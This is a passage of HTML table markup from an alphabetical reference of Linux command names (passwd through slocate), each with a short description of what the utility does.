<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> passwd</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Modify a user password</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> paste</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Merge lines of files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> pathchk</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Check file name portability</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ping</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Test a network connection</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> pkill</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Stop processes from running</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> popd</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Restore the previous value of the current directory</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> pr</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Prepare files for printing</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> printcap</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Printer capability database</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> printenv</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print environment variables</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> printf</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Format and print data</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ps</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Process status</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> pushd</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Save and then change the current directory</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> pwd</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print Working Directory</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Q</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> quota</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display disk usage and limits</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> quotacheck</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Scan a file system for disk usage</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> quotactl</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Set disk quotas</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">R</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ram</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> ram disk device</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> rcp</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Copy files between two machines</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> read</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Read a line from standard input</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> readarray</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Read from stdin into an array variable</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> readonly</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Mark variables/functions as readonly</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> reboot</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Reboot the system</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> rename</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Rename files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> renice</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Alter priority of running processes</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> remsync</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Synchronize remote files via email</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> return</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Exit a shell function</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> rev</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Reverse lines of a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> rm</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remove files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> rmdir</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remove folders</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> rsync</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remote file copy (Synchronize file trees)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">S</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> screen</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Multiplex terminal, run remote shells via ssh</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> scp</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Secure copy (remote file copy)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sdiff</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Merge two files interactively</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sed</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Stream Editor</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> select</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Accept keyboard input</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> seq</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print numeric sequences</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> set</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Manipulate shell variables and functions</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sftp</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Secure File Transfer Program</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> shift</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Shift positional parameters</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> shopt</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Shell Options</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> shutdown</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Shutdown or restart linux</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sleep</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Delay for a specified time</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> slocate</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Find files</td></tr>
